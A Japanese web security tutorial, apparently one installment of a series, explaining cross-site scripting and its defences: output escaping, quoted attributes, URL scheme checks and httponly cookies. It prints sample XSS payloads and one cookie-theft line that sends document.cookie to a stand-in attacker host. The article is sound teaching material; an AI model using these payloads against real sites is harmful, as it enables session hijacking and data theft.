JavaScriptセキュリティの基礎知識

第2回Webセキュリティのおさらい その2 XSS

前回は、Webアプリケーションにおける受動的攻撃の代表例として、以下の4つを挙げました。

  • クロスサイトスクリプティング(XSS)
  • クロスサイトリクエストフォージェリ(CSRF)
  • オープンリダイレクト
  • クリックジャッキング

今回は、これらのうち、XSSについてより掘り下げて解説していきます。

XSSはどのようにして引き起こされるのか

XSSとは、動的にHTMLを生成するWebアプリケーションにおいて、データをエスケープせずに出力しているために、生成されるHTMLに攻撃者の作成したHTML断片やJavaScriptコードが埋め込まれてしまう脆弱性です。

たとえば、検索画面にてユーザーが「HTML5」という文字列を入力すると、http://example.jp/search?q=HTML5というURLで検索結果が表示されるWebアプリケーションがあったとしましょう。検索結果の画面では、ユーザーが入力した文字を強調表示するために、以下のように<span>タグによって囲まれているとします。

語句「<span class="keyword">HTML5</span>」を検索しました。20件の文書が見つかりました。

このとき、HTMLの生成において検索語句をエスケープせずに出力していると、検索語句として<script>alert(1)</script>などを与えたときに生成されるHTMLは

語句「<span class="keyword"><script>alert(1)</script></span>」を検索しました。20件の文書が見つかりました。

のようになり、本来文字列として表示されるべき検索語句が<script>要素として有効になってしまい、ブラウザ上ではJavaScriptが動作してしまいます。攻撃者はこの挙動を利用して、ユーザーを http://example.jp/search?q=<script>alert(1)</script> などに誘導することで、ユーザーのブラウザ上でJavaScriptを実行させることができます。

なお、HTML断片を埋め込まれることを「HTMLインジェクション⁠⁠、JavaScriptが埋め込まれることや既存のJavaScript内にさらにコードが埋め込まれることを「JavaScriptインジェクション」⁠スクリプトインジェクション」などと呼び分けている文章もありますが、脆弱性の種類を識別する統一規格であるCWE(Common Weakness Enumeration:共通脆弱性タイプ)ではこれらを区別せず、どちらも「クロスサイトスクリプティング」と呼んでおり(http://jvndb.jvn.jp/ja/cwe/CWE-79.html⁠⁠、両者を区別する必要はないでしょう。

XSSの脅威とは

先の例では、攻撃者はJavaScriptとしてalert(1)をユーザーのブラウザ上で実行させているだけでしたが、実際には攻撃者の用意した任意のJavaScriptコードが http://example.jp/ を対象としてユーザーのブラウザ上で動作する、つまり http://example.jp/ 上でユーザーが行えるすべての操作を攻撃者はJavaScriptによってユーザーのブラウザ上で行うことができるということになります。ユーザーのブラウザ上に偽のテキストや偽のログインフォームを表示し、そこへ入力された情報を搾取することもできますし、httponly属性のついていないCookieであればJavaSciriptから盗み見ることもできます。また、画面上に表示されている機密情報やプライベートな情報をJavaScriptを通じて読み取ることもできます。

たとえば、攻撃者がXSSを使って以下のようなJavaScriptコードをHTML内に挿入し、ユーザーのブラウザ上でそのJavaScriptが実行されたとします。

document.write( "<img src='http://attacker.example.com/?" + document.cookie + "'>" )

このとき、もしCookieにhttponly属性がついていなければ、攻撃者の用意したサイト http://attacker.example.com へとユーザーの使用しているCookie情報が送信されることになってしまいます。

XSSによって発生する脅威は、一般的には以下のようなものになります。

  • 偽情報の表示(JavaScriptによって、本来はWebサイト上に表示されていない偽の情報を自由にHTML上に表示できる)
  • フィッシング(JavaScriptによって、偽のログインフォームやお問い合わせフォーム、住所登録フォームなどを表示することで、ユーザーのプライベートな情報を登録させ、それを搾取できる)
  • 強制的なWebアプリケーションの操作(JavaScriptによって、強制的に画面上のページ遷移や操作を攻撃者が行える)
  • セッション情報の漏洩(Cookieにhttponly属性がつけられていない場合、JavaScriptからdocument.cookieを読み取ることによって、攻撃者はCookieに含まれるセッション情報を盗み見ることができる。また、httponly属性がついている場合であっても、ブラウザによってはJavaScriptからdocument.cookieへの書き込みはできるので、攻撃者があらかじめ用意したセッションを強制的に利用させることも可能)
  • 機密情報の漏洩(JavaScriptからHTMLを読み取れるため、攻撃者はHTML内に含まれる氏名や住所などのユーザーの機密情報を盗み見ることができる)

これらの脅威はあくまでも代表的なものであり、実際にはXSSの存在するWebアプリケーションの性質によって変わってきます。たとえば、ログイン機構を持たないWebサイト内の検索画面におけるXSSであれば、セッション情報の漏洩については大きな脅威とはならないこともあります。また逆に、Webメールのように利用者個人と強く紐づく大量の機密情報を取り扱うWebアプリケーションでは、ひとたびXSSが発生すると、ユーザーにとっては大きな脅威となりえます。実際に、2005年にはSNSサイトであるMySpace内でXSSを利用して拡散するワーム「Samy」が、2006年にはWebメールであるYahoo!メールにおいても同様にXSSを利用して自身を拡散させるワーム「Yamanner」が発生しています。

XSSの原因と対策

XSSが発生する代表的な原因としては、以下のようなものが挙げられます。

  • テキストノードでのエスケープ漏れ
  • 属性値への出力でのエスケープ漏れ
  • 属性値への出力を引用符で囲っていない
  • リンク先URLにhttpやhttps以外のスキームが入力可能

これら以外にもさまざまな原因でXSSは発生しますが、それらについては直面する機会も少ないため割愛します。また、JavaScriptによるXSS(DOM-based XSS)については、今後の回で詳細に解説します。今回は、従来からのXSSの代表的な原因について、より深く見ていきましょう。

XSSのうち非常に多くが、HTML上は本来テキストノードあるいは属性値として出力すべきデータを適切にエスケープせずにそのまま出力していることで引き起こされています。先の例では、以下のように本来は<span>要素内にテキストノードとして出力すべき箇所にて「<」⁠>」といったメタキャラクタをそのまま出力しているためにXSSが発生しています。

語句「<span class="keyword"><script>alert(1)</script></span>」を検索しました。20件の文書が見つかりました。

また、テキストノードへの出力の際のエスケープ漏れだけでなく、⁠<input>要素などの属性値へ文字列を出力する際に属性値が引用符で囲まれていない」⁠属性値がエスケープされていない」といった原因でXSSが発生する例も非常によくあります。

たとえば、http://example.jp/search?q=HTML5 のようなURLの指定において、<input>要素のvalue属性に指定された値を埋め込んで出力するWebアプリケーションがあったとします。

<input type=text value=HTML5>

このように、出力される属性値が引用符で囲まれていないHTMLが生成されている場合、攻撃者がたとえばx onmouseover=alert(1)のような文字列を指定すると、以下のようなHTMLが生成され、ユーザーがこの<input>要素の上でマウスを動かすとJavaScriptが実行されてしまいます[1]⁠。

<input type=text value=x onmouseover=alert(1)>

属性値を引用符で囲っている場合であっても、属性値がエスケープされていない場合にはXSSが発生します。たとえば、攻撃者が"onmouseover=alert(1)//のような文字列を指定すると、以下のようなHTMLが生成され、onmouseover以降がvalue属性の値ではなくイベントハンドラとして有効になってしまうためにXSSが発生してしまいます。

<input type="text" value=""onmouseover=alert(1)//">

従来から存在するXSSの非常に多くが、この「テキストノードでのエスケープ漏れ」⁠属性値への出力でのエスケープ漏れ」⁠属性値への出力を引用符で囲っていない」のいずれかを原因としています。ですので、以下の2つの対策を徹底して行うことで、XSSの発生を防ぐことができます。

  • (1)文字列を出力する際には、テキストノードあるいは属性値としてのみ解釈されるように適切にエスケープを施す
  • (2)属性値を出力する際には、引用符で囲む

文字のエスケープは開発言語やフレームワークの機能を用いて行う

エスケープが必要な文字は、通常は以下の5種類です。

文字エスケープした表現
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;

これらの文字を正しくエスケープし、また属性値を引用符で囲んだ場合、先の例で生成されるHTMLはそれぞれ

語句「<span class="keyword">&lt;script&gt;alert(1)&lt;script&gt;</span>」を検索しました。20件の文書が見つかりました。

および

<input type="text" value="&quot;onmouseover=alert(1)//">

のようになり、攻撃者の指定した文字列がJavaScriptとして解釈されることはありません。

文字列をエスケープするには、たとえばPHPであればhtmlspecialcharsを用いて、以下のようにします。

htmlspecialchars( $str, ENT_QUOTES, "UTF-8" );

ただし一般的には、文字列のエスケープにはWebアプリケーションを開発する言語やフレームワークで用意されている機能を用いたり、パラメータがすべて自動でエスケープされるテンプレートエンジンを使用するのがいいでしょう。文字列を出力するすべての箇所で確実にエスケープを行うというのは、Webアプリケーション内で1か所でも漏れがあった場合にはXSSの発生へとつながってしまうためです。

リンクを生成する際には、URLをhttpあるいはhttpsスキームのみに限定する

テキストノードおよび属性値のエスケープ漏れ、引用符の漏れ以外にも、XSSの原因としては「リンクのURLとしてjavascriptスキームを許容している」という場合があります。たとえば、以下のようなHTMLを生成するWebアプリケーションがあったとします。

<a href="ここに攻撃者は自由に文字列を設定できる">外部へのリンク</a>

ここで、攻撃者がjavascript:alert(1)のようなURLを与えた場合、生成されるHTMLは

<a href="javascript:alert(1)">外部へのリンク</a>

となり、このリンクをユーザーがクリックしてしまうと、攻撃者の作成したJavaScriptコードがユーザーのブラウザで動作することになります。

このため、文字列をURLとみなしてリンクを生成する際には、URLはhttpあるいはhttpsスキームのみに限定する、すなわちその文字列が「http://」あるいは「https://」から始まっていることを確認するといった対策が必要となります。

Cookieには必ずhttponly属性をつける

仮にXSSが発生した場合であっても可能な限り被害を軽減させるために、Cookieには必ずhttponly属性をつけるようにしましょう。

Set-Cookie: sessionid=25283FB24C9DEE32; httponly

httponlyがつけられたCookieは、JavaScriptからdocument.cookieを使って参照することができないので、仮にXSSが存在したとしても、Cookie内のセッション情報の漏洩といった被害を抑えることができます。

反射型XSSと蓄積型XSS

ここまで説明してきたような従来から存在する一般的なXSSは、大きく分けて「反射型XSS」と呼ばれるものと「蓄積型XSS」と呼ばれるものに分けて考えられます。

反射型XSS

反射型XSSとは、罠ページの訪問や罠リンクのクリックにより、攻撃者の用意したJavaScriptコードやHTML断片がユーザーからのHTTPリクエストに含まれてサーバへ送信され、サーバからのレスポンスにそのJavaScriptコードやHTML断片が含まれて発生するタイプのXSSです。反射型XSSの典型的な例には、以下のものがあります。

  • サイト内の検索ページでのXSS
  • 問い合わせフォームに入力した値の確認ページでのXSS

反射型XSSでは、ユーザーのブラウザからのリクエストと、それに対応するサーバからのレスポンスのどちらにも、攻撃者の準備したJavaScriptコードやHTML断片が含まれています。

最近の多くのブラウザでは、リクエストとレスポンスの双方に同じJavaScriptコードやHTML断片が含まれていないかを監視し、もし同一の文字列が含まれている場合には[2]⁠、反射型XSSが発生したとしてそれらのJavaScript等の実行を遮断することで、XSSの被害を軽減するための機構が含まれています。これらの機構は、IEではXSSフィルター、ChromeやOpera、SafariではXSS Auditorと呼ばれています。

蓄積型XSS

一方、蓄積型XSSとは、攻撃者の用意したJavaScriptコードやHTML断片が対象となるWebサーバ上にいったん格納され、ユーザーがそのページを開いた際にそのJavaScriptコードやHTML断片が含まれて発生するタイプのXSSです。蓄積型XSSの典型的な例としては、Webメールや掲示板でのXSSなどがあります。

蓄積型のXSSでは、攻撃者がサーバへJavaScriptコードなどを送信して攻撃を仕掛けるタイミングと、ユーザーがそのページを開いてXSSの被害が発生するタイミングとに時間差があっても攻撃が成立し、サーバ上にそのページが存在する限り永続的にXSSが発生することにもなり、一般的に反射型XSSに比べると被害が大きくなります。

反射型XSSと蓄積型XSS以外にJavaScriptが引き起こすXSSとして、DOM-based XSSと呼ばれるものもあります。これについては本連載の主要なテーマであるため、回を改めてより詳細に解説します。

次回は、Webアプリケーションにおける代表的な受動的攻撃の解説の続きとして、CSRF、オープンリダイレクト、クリックジャッキングを取り上げます。本来のテーマであるJavaScriptのセキュリティまでなかなかたどり着きませんが、もう少しだけおつきあいいただければと思います。

おすすめ記事

記事・ニュース一覧